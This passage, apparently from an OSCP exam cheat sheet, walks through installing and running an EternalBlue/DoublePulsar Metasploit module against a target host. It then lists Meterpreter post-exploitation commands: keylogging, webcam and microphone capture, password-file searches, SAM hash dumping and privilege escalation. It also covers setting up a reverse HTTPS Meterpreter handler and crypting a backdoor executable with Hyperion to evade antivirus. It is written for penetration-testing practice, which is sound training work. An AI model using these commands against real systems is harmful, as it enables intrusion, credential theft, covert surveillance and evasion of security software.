luck using the built in Metasploit EternalBlue module. I found that the elevenpaths version works much more relabily.

Here are the instructions to install it taken from the following YouTube video: https://www.youtube.com/watch?

v=4OHLor9VaRI

1. First step is to configure the Kali to work with wine 32bit

`dpkg --add-architecture i386 && apt-get update && apt-get install wine32

rm -r ~/.wine

wine cmd.exe

exit`

2. Download the exploit repostory

https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

3. Move the exploit to /usr /share /metasploit-framework /modules /exploits /windows /smb

4. Start metasploit console

I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.

`use exploit/windows/smb/eternalblue_doublepulsar

msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10

RHOST => 10.11.1.73

msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe

PROCESSINJECT => spoolsv.exe

msf exploit(eternalblue_doublepulsar) > run`

Experimenting with Meterpreter

Get system information from Meterpreter Shell

sysinfo

Get user id from Meterpreter Shell

getuid

Search for a file

search -f *pass*.txt

Upload a file

upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec

Download a file

download c:\\Windows\\system32\\calc.exe /tmp/calc.exe

Invoke a command shell from Meterpreter Shell

shell

Exit the meterpreter shell

exit

Metasploit Exploit Multi Handler

multi/handler to accept an incoming reverse_https_meterpreter

payload use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST $ip set LPORT 443

exploit [*] Started HTTPS reverse handler on https://$ip:443/

Building Your Own MSF Module

mkdir -p ~/.msf4/modules/exploits/linux/misc cd ~/.msf4/modules/exploits/linux/misc cp

/usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb ./crossfire.rb nano crossfire.rb

Post Exploitation with Metasploit - (available options depend on OS and Meterpreter Cababilities)

download Download a file or directory

upload Upload a file or directory

portfwd Forward a local port to a remote service

route View and modify the routing table

keyscan_start Start capturing keystrokes

keyscan_stop Stop capturing keystrokes

screenshot Grab a screenshot of the interactive desktop

record_mic Record audio from the default microphone for X seconds

webcam_snap Take a snapshot from the specified webcam

getsystem Attempt to elevate your privilege to that of local system.

hashdump Dumps the contents of the SAM database

Meterpreter Post Exploitation Features

Create a Meterpreter background session

background

Bypassing Antivirus Software

Crypting Known Malware with Software Protectors

One such open source crypter, called Hyperion

cp /usr/share/windows-binaries/Hyperion-1.0.zip unzip Hyperion-1.0.zip cd Hyperion-1.0/ i686-w64-mingw32-g++

Src/Crypter/*.cpp -o hyperion.exe cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll . cp -p

/usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll . wine hyperion.exe ../backdoor.exe ../crypted.exe

OSCP Survival Guide

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